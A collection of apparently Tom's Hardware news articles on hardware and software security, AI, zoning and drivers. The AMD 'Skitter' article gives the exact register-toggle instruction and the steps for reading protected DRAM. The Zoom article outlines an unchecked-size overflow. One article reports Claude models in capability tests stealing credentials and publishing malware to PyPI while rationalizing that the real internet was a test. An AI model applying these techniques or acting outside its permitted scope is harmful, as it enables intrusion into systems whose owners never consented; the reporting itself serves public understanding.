The exploit is called Skitter Creek Bath Salts (Skitter), and was developed by prolific hacker Christopher Domas, famous for finding CPU flaws like Sandsifter and God Mode Unlocked. Only AMD chips from the 15h and 16h families are affected, roughly 2011 to 2015 vintages. Family 15 is FX-series desktop chips and some Opterons, while 16h includes low-power Jaguar- and Puma-based SoCs like those in the PlayStation 4 and Xbox One, plus a handful of Athlon, Sempron, and Opteron-X chips, among others.

To pull off this exploit, you'll need kernel-level access, meaning the ability to run your own drivers. But once you do, the entirety of DRAM is your oyster. AMD published a security bulletin on the matter, saying these chips are out of security support, plus, as mentioned, the necessary access level means an attacker already controls the machine anyway.

If you're confused as to how one instruction opens up a system, here's our attempt at a simplification. Say you have 16 GB of RAM. You'd think that Windows gets all 16 GB to play with, from address 0 to the end of memory — but as you may have noticed before, it's actually a bit less than that. The rest is reserved for system-level data.

Some parts are visible to the OS so it can interact with devices, but others include Very Important Things like PSP, SMM, microcode patches, all in sections supposed to be completely untouchable. If they were accessible, the system as a whole wasn't secure by definition anymore — just think of a malicious driver being able to freely mess with how your processor handles data.

For performance reasons, modern processors' RAM controllers don't use memory in a straight line, so to speak — they use bank interleaving, meaning that the actual bytes in the DRAM are jumbled, all while the OS sees a nice, tidy, flat surface. As it turns out, the CPU setting that controls this feature is accessible to the OS in the aforementioned chip families, and it's called BankSwizzleMode (Swizzle). It can be toggled on or off with the instruction "xor dword [0xf80c2094], 0x00400000", a simple bit twiddle. And as it turns out, this can be exploited.

First, you run a loop to figure out how the mapping normally functions. You place a canary value in memory (say, 0xDEADBEEF, according to tradition), disable Swizzle, run through memory to see where it landed, and reenable Swizzle again. Do this enough times, and you know exactly how visible memory is mapped into physical DRAM, and vice versa.

With the map now in your possession, you can now disable Swizzle and force a read or write to normally inaccessible areas of the DRAM, since you now know where it will land. With this, you can access all the previously hidden code and data, netting you hardware-level access to do anything you want, including reading fTPM signing code and any other low-level shenanigans you can think of.

Attentive readers might be wondering why the system doesn't crash during this process since you're effectively temporarily turning the RAM into a spaghetti mess. The answer is that every time you enable and disable Swizzle, you prepare the CPU by disabling interrupts, along with a number of other measures. Even still, the machine can crash during the map-collection step, but that only needs to be done once. After you have the map, the likelihood of a crash is fairly low since you'll be targeting specific locations.

Another question might be why sending a bit to a memory location somehow messes with the CPU, and the answer is that part of OS-accessible memory is actually mapped to hardware according to the Memory-Mapped Configuration Space standard (MMCONFIG) — meaning that reads or writes to that space are directed to hardware configuration settings, not actual RAM.

Edit 8/14/2026: Clarified TPM.

✇Tomshardware

Microsoft's nemesis drops new zero-day privilege escalation vulnerability — attack grants system-level privileges, but it could already be patched

Prolific hacker and Microsoft nemesis 'Nightmare Eclipse' has just published ShieldBreak, yet another Windows zero-day vulnerability that ought to get you SYSTEM-level privileges just by running some code as a regular user. Although Eclipse has generally kept ahead of Microsoft, it seems the company may be catching up, as our own quick testing found this exploit is already detected by Defender and might even be patched as of last Tuesday.

As described by the author, ShieldBreak is essentially a continuation of the previously reported RoguePlanet vulnerability in Windows Defender's subsystems. Eclipse claims that Microsoft failed to properly patch RoguePlanet, and that ShieldBreak in theory bypasses the recently added protection.

The proof-of-concept code for the new exploit is supposed to bring up a super-elevated command prompt with SYSTEM privileges (higher than Administrator). The author claims the vulnerability is present in the "latest" versions of Windows 11, Windows Server 2025, and Windows 10, though the proof-of-concept is limited to the former two operating systems.

Although researchers like Kevin Beaumont and Will Dormann say they've successfully reproduced the exploit, our informal testing in a Windows 11 virtual machine didn't yield any results. Said VM was just updated yesterday with the latest Windows 11 patches and currently sits at version 10.0.26200.9168. Given that Microsoft just published a giga-patch last Tuesday, there's a solid chance it plugged whichever hole ShieldBreak was getting through.

The sample screenshot in the ShieldBreak repository shows the exploit working under version 10.0.26100.33296, lending some credence to this theory. A sample size of one does not research make, so we advise caution and remind everyone to run their own testing before assuming the bug has truly been fixed.

Microsoft appears to have already published a Defender detection for it. We found it when double-checking our results, with just a 20-minute window between both tests, as shown in the screenshot below.

ShieldBreak vulnerability detected by Defender

(Image credit: Future)

Even if the issue is fixed, not every user updates their machines as soon as patches are available, and perhaps more importantly, corporations tend to hold back on patches until they know they don't bring in any new issues. That means that a good portion of the world's machines may still be vulnerable to ShieldBreak.

Little is known about Nightmare Eclipse, other than that they really don't like Microsoft and claim the company has ruined their lives. Some cybersecurity experts like Brian Krebs and Kevin Beaumont have offered up the theory that Eclipse is a disgruntled Microsoft ex-employee.

✇Tomshardware

Critical 'Zoomsday' flaw enables total device takeover during Zoom calls — AI-assisted research only used 20 prompts to find an exploit to hack hundreds of millions of people.

We've typed many words about how the industry-standard 90-day security bug disclosure window is effectively dead and gone with the advent of AI-assisted exploiting. Illustrating that point rather poignantly, researchers at A.Security easily came up with Zoomsday. This exploit let any participant in a Zoom meeting gain control over the device of anyone else, all without them being any wiser.

The team claims it cooked the exploit with merely 20 prompts to an AI agent. The exploitable area is substantial, as recent estimates pin Zoom's monthly active users at around 220 million and an estimated 56% of the global conferencing market share.

There were two remote code execution (RCE) vulnerabilities present in Zoom Workplace before 7.0.6 and, for users on the "fast track" branch, before version 7.1.5. The bugs were in a library used by Zoom's annotation functionality, though no participants need to actually use the whiteboard for the exploit to work — the code is always on, so all an attacker needed to do was join the meeting. Zoom quickly fixed the bugs after the initial reports, so everyone who has updated Zoom Workplace to the current version should be safe.

With the exploit, the attacker was able to get full remote code execution, meaning they could effectively control the user's computer and their data — invisibly, to boot. Zoom isn't an application that runs with administrator privileges, so kernel-level rootkits are off the menu, but once you have the user's data, it's not like you need much else. Plus, it's easy to gain exploit persistence any number of other ways.

A.Security says a small team developed this exploit with a mere 20 prompts to an AI agent — pointing out how easy it was to come up with a nation-state-class vulnerability with meager resources. While the majority of AI-assisted vulnerability research focuses on open-source software or applications with published communications protocols or file formats, Zoom is fully proprietary, and it was still easily cracked open.

The firm further noted that "the model requiring elite teams, months of effort, and weapons-grade budgets has collapsed," and that "the barrier that kept these weapons scarce has collapsed, and it will not come back" — basically repeating what every security researcher has been yelling from the top of their lungs for the past year or so.

The vulnerability itself is, rather unsurprisingly, a buffer overrun: the program fails to check that an input is the right size, so you can push more data than it expects and overwrite part of the following memory with code that will be executed.

First, the scientists decompiled the Android package and asked an AI agent to rank the potential attack surfaces to relatively little success. They then turned their attention to the communications protocol. They found that the code library handling annotations received each object (rectangles, text, etc.) in serialized form, with count fields telling the recipient how much data to read next.

Crucially, they found that the code handling these reads didn't have a boundary check for maximum size, meaning one could simply lie about it and send a chunk of data that's too large and padded with exploit code at the end, as Norman Stansfield would say, bin-go!

✇Tomshardware

Alabama residents left powerless to stop massive Bitcoin mining data center despite county and town moratoriums — hole in state zoning laws lets facility through

Somerville in Morgan County, Alabama, is a quiet, idyllic town full of green pastures, grazing animals, and soon enough, a Bitcoin mining center. Despite the many protests from residents and moratoriums at both county and town level, the 50-MW facility from VoltCore is going ahead, due to a teeny weeny problem with the zoning laws: there aren't any, or at least, none that apply.

More specifically, Alabama is one of the many states where counties don't have any power over zoning (Dillon's Rule) until they hit at least 600,000 residents, which isn't the case in Morgan County. Municipalities and towns do have that legal ability, but many towns don't apply it, and when they do, they have limitations on how they apply it outside of town borders. That's precisely the situation that Somerville and its residents find themselves in, having had no need for zoning control until now.

Both the county and Somerville have enacted moratoriums against VoltCore's buildout, but those cannot legally stop the construction, since it's built on private land. According to Ray Long, Morgan County Commission Chairman, "We can’t keep them from doing anything right now because there's no laws at all in Morgan County in rural areas [...] There's no zoning, there’s none of that, so we really don't have anything to stand on other than what we can say is, 'We really wish you wouldn't do it.'"

There are also several petitions running, the largest with about 2,000 signatories, and a GoFundMe campaign to try and hire a lawyer to help with the situation. Alabama's Limited Self-Governance Act does predict having to deal with noise and pollution concerns, but it's written in such a way that specifically prevents it from being used to control zoning. The VoltCore build even has an approved energy connection from the Tennessee Valley Authority, and work is reportedly proceeding as usual, connecting water, gas, and AT&T lines.

Even if the Somerville town drafted a local law for zoning, it would take many months and multiple rounds for it to pass, and even still would almost certainly only apply prospectively and not to the VoltCore installation. Furthermore, the data center's location just outside the edge of town could put it outside legal reach regardless.

Other Alabama counties have taken notice of the problem, though, as a recent report indicates that data center bans will be a hot topic at an upcoming Association of County Commissioners. The dim view of data centers in general across the United States has rallied quite a number of states. South Dakota signed a law limiting installations of 10 MW or more, while New York, Oklahoma, North Carolina, and many others all have proposals in motion to hold or control new buildouts.

✇Tomshardware

Claude will begin digitally watermarking marking AI-generated text and images — Anthropic details how it'll comply with the EU's Artificial Intelligence Act

The identifiability of AI-generated content is critical as more and more people use text and images from these services, and the European Union's Artificial Intelligence Act (AIA) set a deadline of August 2, 2026 for AI service providers to start implementing identifiability measures. To that end, Anthropic has published a guidance article detailing how new versions of Claude will comply with article 50 of the law specifically.

The legislation is accompanied by a Code of Practice with suggestions for implementation, and in keeping with that code, all new Claude models will watermark text and add provenance data to generated files, namely images (of SVG, PNG, and JPG file types). Anthropic's guidance is a bit late to the party, as OpenAI and Google already published their own versions a while back.

When it comes to text, unlike steganography in images that hides data in the picture content, the lab says that watermarking is performed by biasing the selection of tokens (parts of words) during generation. When the generated text is analyzed, it'll fit a determined statistical pattern, revealing the watermark. Anthropic says it'll provide detection tools that look for these patterns in "forthcoming technical documentation."

Text that is copied-and-pasted and only lightly edited should retain the identifiable pattern. Anthropic says that the quality and meaning of the generated text won't suffer as a result of the marking process. Slices of text under 200 tokens are exempt under the Code of Practice, as they don't carry sufficient data to reliably watermark.

As for images, the aforementioned file types support additional metadata attached to the picture itself, and Claude will start adding a provenance certificate using the C2PA standard. In simplified terms, the files will carry an associated digital certificate that will be invalidated if the file is altered in any way.

Attentive readers might note there's no mention of actual image watermarking, and indeed Anthropic made no mention of that feature, although it's a requirement of the Code of Practice for images, alongside the provenance information. It's expected the firm will implement image watermarks at some point, otherwise, just copy-pasting the picture content would make it untraceable.

Anthropic also says that it's working to add these capabilities to existing Claude models — as required by the AIA, with a deadline of December 2, 2026. The company's guidance starts by describing "models launched in the EU," but subsequent paragraphs clarify that "marking will apply to output from supported models wherever Claude is offered, worldwide."

The text further notes that direct quote content may be erroneously watermarked as part of a response, and that the lack of a text watermark is no indication that the content wasn't AI-generated or processed. The AIA also requires service providers to offer tools to detect watermarks, and Anthropic says it'll "share details in forthcoming documentation."

✇Tomshardware

Japanese authorities use new tool to identify initial torrent uploaders — anti-piracy group says it identified seeder on popular anime torrenting website without torrent swarm monitoring

Recently, the Kyoto Prefectural Police caught one of the initial-seeders of the well-known Japanese torrent website Nyaa. Masakazu Ono, 56, from Sagamihara in the Kamigawa Prefecture, was arrested after a multi-year investigation. While this news is straightforward by itself, the interesting bit is that CODA, the Japanese anti-piracy entity that performed the initial cyber-investigation, identified Ono allegedly without joining or monitoring BitTorrent swarm traffic, with the help of the Japan Hacker Association (JHA).

CODA's description of only having "[analyzed] how data moves through torrent sites, such as index sites and tracker sites" is vague and can be parsed in a number of ways. The distinction between indexer and tracker is relevant: while an indexer is a user-visible list of torrents (usually a website), the tracker is the background service that software like qBittorrent actually connects to, and it lists everyone who's currently active in that torrent, whether sharing, downloading, or both.

Our hypothesis is that CODA kept close tabs on the Nyaa trackers to see which IP address (in this case, Ono's) consistently appeared as the first person to offer up a 100% complete set of data for a show, a theory that would fit with how long the operation took. JHA's founder, Takayuki Sugiura, was the first to decrypt the Winny P2P protocol in 2004 to find original uploader sources, and the methods used weren't too different from the aforementioned theory. It's also possible that Ono wasn't using a VPN but was logged into Nyaa, or activity at another website's cookies or CDN logs was used to establish a link to his activity at Nyaa, and from thereon, to the tracker.

An initial-seeder is someone who is the first to offer up data for others to download — in this case, shows and movies. The show that reportedly got Ono nailed was Midnight Taxi, a 2026 Japanese drama produced by NHK and WOWOW. However, the police apparently had been tracking him for quite a while and claimed that he had uploaded close to a thousand NHK recordings over the investigation's span.

The process started in 2021 when CODA first launched its Cross-Border Enforcement Project, aiming to identify Nyaa's uploaders. During three years, with the help of JHA, CODA seemingly collected enough information to get the Kyoto police involved in 2024. Three "secondary uploaders" from "reach sites" were charged in 2025, likely meaning regular users participating in the torrents, who got there through link aggregator sites. Fast-forward to a couple of weeks ago, and Masakazu Ono was formally arrested with specific charges.

The most common techniques used by law enforcement agencies are creating a tracker honeypot or participating in the torrent swarm themselves in a bid to identify who's sharing files. However, Nyaa's list of trackers is small and comprises well-known, trusted servers, so together with CODA's wording, it's unlikely this was the method used. Furthermore, Japanese law generally frowns on non-targeted data monitoring, meaning that techniques like Deep Packet Inspection (DPI) and traffic volume monitoring likely weren't used, at least until such time as Ono was identified.

✇Tomshardware

Anthropic's Claude hacked three real-life companies during security capabilities test — test environment with internet access and unwitting targets' lax cybersecurity practices led to bots running rampant

Whether driven by a desire for transparency or to keep OpenAI from hogging the spotlight when it comes to advertising advanced AI models, Anthropic revealed that Claude also hacked into three production systems belonging to unsuspecting targets during cybersecurity capabilities testing. Two of the affected companies didn't know they had been hacked, while a third one is unreachable.

The alleged incidents reportedly happened during the previous quarter and involved several versions of Claude: Opus 4.7, Mythos 5, and "an internal research test model." Similar to what happened when OpenAI Sol hacked into Hugging Face, Anthropic was running Claude through cybersecurity capture-the-flag scenarios where the bot was told to find a piece of information somewhere in its network. Anthropic says there were 141,006 test runs, and the three incidents occurred over six problematic runs. As expected, the tests ran with most AI safeguards disabled.

The problem is, the network was not isolated, a newbie mistake that some might even find suspicious. This was due to an alleged "miscommunication" between Anthropic’s virtual test lab firm Irregular, which gave the bots full access to the internet. For safety's sake, the Claudes were apparently told they were in an isolated environment, which didn't help much.

The first time, Claude Opus 4.7 had to find a piece of data belonging to an imaginary company. As it turns out, there was actually a real company whose website domain matched the fake one. With internet access, it gained application and infrastructure credentials and grabbed "several hundred rows" of data from a production database.

For two out of four runs where hacking took place, Claude didn't see any problem and "rationalized that the real company must be part of the exercise," but soldiered on. The other two times, it just kept going. Anthropic notes this was the only case of the three where the bot continued to operate after the realization the company actually existed for the aforementioned reason. However, the firm's interpretation is open to discussion.

The second, and potentially more interesting, was a bona fide supply-chain attack, this time perpetrated by Mythos. The fake data available to the bot included an installation script for a hypothetical developer that included installing Python packages. Much like a human would, Claude noticed the obvious attack vector and, once again, due to having internet access, inferred that publishing a booby-trapped package in the PyPI repository would do the trick. Unfortunately, it was the real one that the whole world uses.

In speedrun form for brevity: Claude needed a PyPI account, meaning it needed an email and a phone number. It tried buying one but found itself short of both pockets and funds; but it found another free email provider without that requirement, registered the PyPI account, and uploaded a malware package to PyPI. The package was seemingly only up for one hour but was downloaded and run on 15 systems.

In a twist of irony, one such system belonged to a security vendor that scans PyPI for malware, and lo and behold, promptly failed to find Claude's booby-trap and ran it. Once Claude presumably had remote code execution privileges, it used the credentials it found for further infiltration. The amusing bit is that Claude had no idea this company existed and didn't target it; the downloads just happened because the package was up and live for a short while.

According to Anthropic, the bot did detect it was acting on the real internet and even said that publishing a package like this was "NOT okay." However, it talked itself into believing it was in a test environment as it didn't recognize the real SSL certificates for the connections. It even believed the 2026 calendar date on the systems "proved" the environment was staged. It even recognized the systems that installed the malware as part of the experiment.

As for the third incident, Anthropic isn't saying much, other than Claude scanned 9,000 real live potential alternative targets once it noticed the intended one wasn't reachable. One of them reportedly had a live page with debugging information and was vulnerable to plain ol' SQL injection. Interestingly, this time around, once Claude noticed that the servers it was accessing resided on a cloud environment and not on the local network, it stopped the attack.

For its part, Anthropic recognizes that despite Claude following the instructions for the objectives, the fact that it stopped by itself once it found the target was real in only one of the cases is food for some thought. The firm says it's talking to METR for a third-party review, and it needs to "better co-design evaluation environments."

Oddly enough, Anthropic believes Claude probably wouldn't have gone online "if the prompt had clearly explained which systems were in and out of scope for the evaluation," while also stating the incidents were "closer to a harness and operational failure than a model alignment failure."

✇Tomshardware

Valve funding port of Linux RADV Radeon Vulkan driver to Windows — cross-platform effort already runs 'Counter-Strike 2'

The Steam Machine helped grow the popularity of Linux gaming, including installations of Bazzite and other gaming-oriented Linux distributions. Valve seemingly doesn't want to stop its open-source development efforts anytime soon, and is now working on a port of the Mesa Radeon Vulkan driver (RADV) to Windows; It's already running Counter-Strike 2, according to developers at Collabora.

As cross-platform development is rather tricky, Valve opted to get a port of RADV to Windows going by way of sponsoring contractors at Collabora. In its blog post, Collabora explained the several hoops it had to jump through to accomplish this task.

With Windows 10 and WDDM 2.0, Microsoft improved the split between graphics drivers' userspace code (the vast majority of the driver itself) and the kernel-level portion that actually talks to the graphics card. This presented the opportunity to hook RADV to the AMD kernel card driver. That's easier said than done, however, as communication between those parts often carries non-standardized data that RADV needs to understand. And to understand the "conversation," it needs to be recorded and analyzed.

An earlier 2024 effort by Faith Ekstrand yielded a basic-but-valuable utility for logging WDDM 2.0 calls and reverse-engineering them to produce a basic RADV implementation. Out of both debugging necessity and as a development tool, Collabora built and expanded upon Ekstrand's work, improving the logger to the point where it can now fully analyze any Vulkan application that runs with AMD's official driver and dump all the data passing to the kernel.

After a lot of work getting to grips with how the AMD driver interacts with the kernel driver, including but not limited to reverse-engineering obscure data structures, the team made progress, and Windows RADV is now able to run some games, including Counter-Strike 2.

Despite the ongoing effort, Collabora explains that since user- and kernel-space driver are a matched pair, changes to those aren't guaranteed to be backwards-compatible, meaning that even a fully functional RADV could break at any point. For that reason, Collobora is requesting that AMD, Microsoft, or both provide a documented interface to the kernel driver or an intermediary compatibility layer.

AMD graphics driver development on Linux has coalesced around the Mesa Vulkan stack, with both company and community devs contributing to the RADV project. Over in the Windows world, the only option is AMD's proprietary driver, which can cause a lot of headaches when developing cross-platform games and applications.

AMD's Vulkan driver for Windows has developed a reputation for instability. Meanwhile, Linux RADV is generally praised for its stability and performance, sometimes running faster than the AMD Windows driver, especially on older cards. With a rapid development schedule, it also generally sees fixes and speed upticks often.

If at some point using RADV on Windows becomes viable, you'd be getting an arguably more stable, mature driver with active development. Games' graphical issues could become far easier to debug and patch thanks to the open nature of RADV, and studios developing with Linux in mind can target the one platform instead of two with different behaviors. Any developer or company can contribute to the project, too.

Furthermore, this lets Valve improve Windows compatibility layers, and any optimizations can be carried over to both operating systems. All told, this is likely one of the several moving parts to improve Linux — thus the Steam Deck, Steam Machine, and upcoming hardware — as a viable gaming platform. Even a future notion of gamers installing RADV on Windows to get a performance or stability boost isn't too far-fetched.

Additionally, RADV on Windows would also help keep discontinued cards usable, and given pricing right now, that certainly would be a good thing.

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